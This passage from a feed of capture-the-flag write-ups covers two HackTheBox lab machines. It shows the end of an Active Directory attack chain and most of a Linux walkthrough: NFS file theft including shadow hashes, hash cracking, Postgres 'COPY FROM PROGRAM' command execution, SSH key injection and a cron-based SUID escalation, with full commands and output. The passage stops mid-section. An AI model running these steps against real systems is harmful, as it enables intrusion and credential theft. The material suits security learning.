Blank password spray → STATUS_PASSWORD_MUST_CHANGE (Elliot.Yates, Thomas.Powell)
        ↓
impacket-changepasswd → set new passwords
        ↓
bloodhound-python → collect AD data
        ↓
Thomas.Powell/Elliot.Yates → SUPPORT → GenericAll over ADMSVC
        ↓
bloodyAD: add Thomas.Powell to ADMSVC group
        ↓
ADMSVC has ReadGMSAPassword → dump mgtsvc$ NTLM hash
        ↓
mgtsvc$ in Remote Management Users → WinRM → user.txt
        ↓
C:\config\.sqlconfig → sqlsvc:SurenessBlob85
        ↓
Chisel reverse tunnel → MSSQL port 1433 reachable
        ↓
Silver Ticket (sqlsvc hash + domain SID → forge Admin ticket for MSSQL SPN)
        ↓
mssqlclient as Administrator → enable xp_cmdshell → RCE as sqlsvc
        ↓
sqlsvc has SeImpersonatePrivilege → GodPotato → SYSTEM → root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Where&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Guest SMB access allows RID brute-forcing&lt;/td&gt;
&lt;td&gt;SMB configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accounts with expired passwords accept blank password + reset over network&lt;/td&gt;
&lt;td&gt;AD password policy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;SUPPORT&lt;/code&gt; group has &lt;code&gt;GenericAll&lt;/code&gt; over &lt;code&gt;ADMSVC&lt;/code&gt; — allowing self-addition&lt;/td&gt;
&lt;td&gt;AD ACL misconfiguration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GMSA password readable by group members (expected, but dangerous chain)&lt;/td&gt;
&lt;td&gt;ADMSVC → ReadGMSAPassword&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL credentials stored in plaintext config file on an SMB share&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\config\.sqlconfig&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSSQL running as &lt;code&gt;sqlsvc&lt;/code&gt; which has a known SPN → Silver Ticket forgeable&lt;/td&gt;
&lt;td&gt;Service account design&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;sqlsvc&lt;/code&gt; has &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; → potato attack to SYSTEM&lt;/td&gt;
&lt;td&gt;Service account privileges&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>writeup</category>
    </item>
    <item>
      <title>HackTheBox: Sloink Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sun, 28 Jun 2026 09:56:00 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-sloink-writeup-44ag</link>
      <guid>https://dev.to/exploitnotes/hackthebox-sloink-writeup-44ag</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;NFS shares exposed the target's home directory and PostgreSQL backups. The user's psql history contained an MD5 hash that cracked to &lt;code&gt;service&lt;/code&gt;. SSH with that account drops you immediately (shell is &lt;code&gt;/bin/false&lt;/code&gt;), but port forwarding still works - so we tunneled straight to the Postgres Unix socket and connected as the superuser. From there, &lt;code&gt;COPY FROM PROGRAM&lt;/code&gt; gave us RCE as postgres. We injected our SSH key and got a shell. For root, a cron job running as root copies the entire Postgres data directory - which postgres owns. We dropped a SUID bash there, waited for the cron to fire, and root handed us a root shell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chain:&lt;/strong&gt; NFS leak → MD5 crack → SSH tunnel → Postgres RCE → SSH key injection → postgres shell → SUID bash via cron → root&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.234.160 &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
111/tcp  open  rpcbind 2-4 (RPC #100000)
2049/tcp open  nfs_acl 3 (RPC #100227)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;NFS on 2049 is immediately interesting. We check what's exported:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;showmount &lt;span class="nt"&gt;-e&lt;/span&gt; 10.129.234.160
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Export list for 10.129.234.160:
/var/backups *
/home        *
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both shares open to everyone (&lt;code&gt;*&lt;/code&gt;). We mount them and enumerate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /mnt/home /mnt/backups
mount &lt;span class="nt"&gt;-t&lt;/span&gt; nfs 10.129.234.160:/home /mnt/home
mount &lt;span class="nt"&gt;-t&lt;/span&gt; nfs 10.129.234.160:/var/backups /mnt/backups
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find /mnt/backups &lt;span class="nt"&gt;-maxdepth&lt;/span&gt; 3 &lt;span class="nt"&gt;-ls&lt;/span&gt;
&lt;span class="c"&gt;# → several archive-*.zip files (~4.5MB each, created every minute)&lt;/span&gt;

find /mnt/home &lt;span class="nt"&gt;-maxdepth&lt;/span&gt; 3 &lt;span class="nt"&gt;-ls&lt;/span&gt;
&lt;span class="c"&gt;# → /mnt/home/service  (UID 1337, permission denied)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can't read the service home directory yet because our local UID doesn't match. We use NetExec to enumerate properly - it also detects a root escape vulnerability on the NFS server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc nfs 10.129.234.160 &lt;span class="nt"&gt;--enum-shares&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NFS  10.129.234.160  [*] Supported NFS versions: (3, 4) (root escape:True)
NFS  10.129.234.160  [+] /var/backups
NFS  10.129.234.160       0   r--   4.5MB   /var/backups/archive-2026-06-28T0446.zip
NFS  10.129.234.160  [+] /home
NFS  10.129.234.160    1337   r--    90B    /home/service/.bash_history
NFS  10.129.234.160    1337   r--   326B    /home/service/.psql_history
NFS  10.129.234.160    1337   r--    96B    /home/service/.ssh/authorized_keys
NFS  10.129.234.160    1337   r--    96B    /home/service/.ssh/id_ed25519.pub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The NFS root escape means we can traverse outside the share and read the whole filesystem. We use that to grab &lt;code&gt;/etc/passwd&lt;/code&gt; and &lt;code&gt;/etc/shadow&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc nfs 10.129.234.160 &lt;span class="nt"&gt;--get-file&lt;/span&gt; /etc/passwd passwd
nxc nfs 10.129.234.160 &lt;span class="nt"&gt;--get-file&lt;/span&gt; /etc/shadow shadow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;passwd | &lt;span class="nb"&gt;grep &lt;/span&gt;bash
root:x:0:0:root:/root:/bin/bash
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

&lt;span class="nb"&gt;cat &lt;/span&gt;passwd | &lt;span class="nb"&gt;grep &lt;/span&gt;service
service:x:1337:1337:,,,,default password:/home/service:/bin/false
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;service&lt;/code&gt; account has &lt;code&gt;/bin/false&lt;/code&gt; as its shell - it can't get an interactive session. Also note the &lt;code&gt;postgres&lt;/code&gt; user (UID 115) has a real bash shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'\$y\$'&lt;/span&gt; shadow
root:&lt;span class="nv"&gt;$y$j9T$nHJOa2A9rTXPQi3rqjrDI&lt;/span&gt;/&lt;span class="nv"&gt;$mbo9VYMotfEvj4Va5D7Lv0AOzdHRuMwGf&lt;/span&gt;.4nue0pZe3
service:&lt;span class="nv"&gt;$y$j9T$4gRKP9kqW6NvhFfcFU2mL&lt;/span&gt;/&lt;span class="nv"&gt;$KT6bU&lt;/span&gt;.KoVCaBDQjkmUIkni5qWJaCTzScIz4B8XwqT/7
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both hashes are yescrypt - slow to crack. We set those aside and focus on the NFS files.&lt;/p&gt;




&lt;h2&gt;
  
  
  Credential Discovery
&lt;/h2&gt;

&lt;p&gt;To read the &lt;code&gt;service&lt;/code&gt; home directory, we create a local user with matching UID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;groupadd &lt;span class="nt"&gt;-g&lt;/span&gt; 1337 servicegroup
useradd &lt;span class="nt"&gt;-u&lt;/span&gt; 1337 &lt;span class="nt"&gt;-g&lt;/span&gt; 1337 serviceuser
su serviceuser
&lt;span class="nb"&gt;cat&lt;/span&gt; /mnt/home/service/.bash_history
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt; /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres
&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The bash history shows the service user connecting to postgres as the superuser via a Unix socket. We note the socket path: &lt;code&gt;/var/run/postgresql/.s.PGSQL.5432&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /mnt/home/service/.psql_history
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;DATABASE&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;SERIAL&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'service'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'aaabf0d39951f3e6c3e8a7911df524c2'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'network access account'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There's an MD5 hash in the history. We crack it on CrackStation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aaabf0d39951f3e6c3e8a7911df524c2  →  service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed — the password is &lt;code&gt;service&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  SSH Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc ssh 10.129.24.180 &lt;span class="nt"&gt;-u&lt;/span&gt; service &lt;span class="nt"&gt;-p&lt;/span&gt; service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SSH  10.129.24.180  22  [+] service:service  Network Devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Creds are valid. But when we actually SSH in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh service@10.129.24.180
&lt;span class="c"&gt;# (banner appears, then connection closes immediately)&lt;/span&gt;
Connection to 10.129.24.180 closed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected - &lt;code&gt;/bin/false&lt;/code&gt; kicks us out. But port forwarding doesn't need a shell. From the bash history we already know the Postgres Unix socket lives at &lt;code&gt;/var/run/postgresql/.s.PGSQL.5432&lt;/code&gt;. We forward a local TCP port to that socket path on the remote:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.24.180
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The format is &lt;code&gt;local_port:remote_socket_path&lt;/code&gt; - SSH listens on port 5432 locally and relays any connection through to the Unix socket on the server side. This runs in the background. In a new terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-h&lt;/span&gt; localhost &lt;span class="nt"&gt;-p&lt;/span&gt; 5432 &lt;span class="nt"&gt;-U&lt;/span&gt; postgres
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;psql (18.3, server 14.19)
postgres=#
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're in as the Postgres superuser with no password - the database is configured to trust local connections.&lt;/p&gt;




&lt;h2&gt;
  
  
  PostgreSQL Enumeration &amp;amp; RCE
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;postgres&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="c"&gt;# \du&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; Role name |                         Attributes
-----------+------------------------------------------------------------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full superuser. We check the databases and find the &lt;code&gt;service&lt;/code&gt; db:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;postgres&lt;/span&gt;&lt;span class="o"&gt;=#&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;
&lt;span class="n"&gt;postgres&lt;/span&gt;&lt;span class="o"&gt;=#&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; id | username |             password             |      description
----+----------+----------------------------------+------------------------
  1 | service  | aaabf0d39951f3e6c3e8a7911df524c2 | network access account
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing new. But as a superuser we can run OS commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;output&lt;/span&gt; &lt;span class="nb"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;copy&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;RCE confirmed. We inject our SSH public key into the postgres home directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;copy&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="s1"&gt;'mkdir -p /var/lib/postgresql/.ssh'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;copy&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="s1"&gt;'chmod 700 /var/lib/postgresql/.ssh'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;PROGRAM&lt;/span&gt; &lt;span class="s1"&gt;'echo "ssh-ed25519 AAAA...snip... kali@kali" &amp;gt; /var/lib/postgresql/.ssh/authorized_keys'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;copy&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="s1"&gt;'chmod 600 /var/lib/postgresql/.ssh/authorized_keys'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Shell as postgres - User Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; /home/kali/.ssh/id_ed25519 postgres@10.129.24.180
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;postgres@slonik:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;115&lt;span class="o"&gt;(&lt;/span&gt;postgres&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;123&lt;span class="o"&gt;(&lt;/span&gt;postgres&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;123&lt;span class="o"&gt;(&lt;/span&gt;postgres&lt;span class="o"&gt;)&lt;/span&gt;,122&lt;span class="o"&gt;(&lt;/span&gt;ssl-cert&lt;span class="o"&gt;)&lt;/span&gt;

postgres@slonik:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Finding the cron job
&lt;/h3&gt;

&lt;p&gt;First we run linpeas to get a broad picture of the system. A few things stand out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;╔══════════╣ Backup folders
drwxr-xr-x 3 root root 4096 Oct 23 2023 /opt/backups
-rwxr-xr-x 1 root root  392 Oct 24 2023 /usr/bin/backup   ← custom backup script

╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 274 Sep 25 2021 /usr/lib/systemd/system/pg_basebackup@.timer
-rw-r--r-- 1 root root 436 Sep 25 2021 /usr/lib/systemd/system/pg_basebackup@.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We cat &lt;code&gt;/usr/bin/backup&lt;/code&gt; and see it runs &lt;code&gt;pg_basebackup&lt;/code&gt; to copy the Postgres data directory as root, then zips it up. Linpeas didn't tell us &lt;em&gt;when&lt;/em&gt; or &lt;em&gt;how often&lt;/em&gt; it runs though — no obvious crontab entry was shown. So we pull in &lt;code&gt;pspy64&lt;/code&gt; to watch for the process in real time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./pspy64
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026/06/28 09:04:01 CMD: UID=0  | /bin/sh -c /usr/bin/backup
2026/06/28 09:04:01 CMD: UID=0  | /bin/bash /usr/bin/backup
2026/06/28 09:04:02 CMD: UID=0  | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root runs &lt;code&gt;/usr/bin/backup&lt;/code&gt; every minute. Looking back at the script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/usr/bin/date +&lt;span class="s2"&gt;"%FT%H%M"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
/usr/bin/rm &lt;span class="nt"&gt;-rf&lt;/span&gt; /opt/backups/current/&lt;span class="k"&gt;*&lt;/span&gt;
/usr/bin/pg_basebackup &lt;span class="nt"&gt;-h&lt;/span&gt; /var/run/postgresql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-D&lt;/span&gt; /opt/backups/current/
/usr/bin/zip &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"/var/backups/archive-&lt;/span&gt;&lt;span class="nv"&gt;$date&lt;/span&gt;&lt;span class="s2"&gt;.zip"&lt;/span&gt; /opt/backups/current/

&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/usr/bin/find &lt;span class="s2"&gt;"/var/backups/"&lt;/span&gt; &lt;span class="nt"&gt;-maxdepth&lt;/span&gt; 1 &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; d | /usr/bin/wc &lt;span class="nt"&gt;-l&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 10 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
  /usr/bin/rm &lt;span class="nt"&gt;-rf&lt;/span&gt; /var/backups/&lt;span class="k"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It wipes &lt;code&gt;/opt/backups/current/&lt;/code&gt;, then uses &lt;code&gt;pg_basebackup&lt;/code&gt; to copy the Postgres data directory (&lt;code&gt;/var/lib/postgresql/14/main/&lt;/code&gt;) into it - running as root. The data directory is owned by postgres, so we can put anything we want in there before the cron fires.&lt;/p&gt;

&lt;h3&gt;
  
  
  The exploit
&lt;/h3&gt;

&lt;p&gt;We copy bash into the data directory with the SUID bit set:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
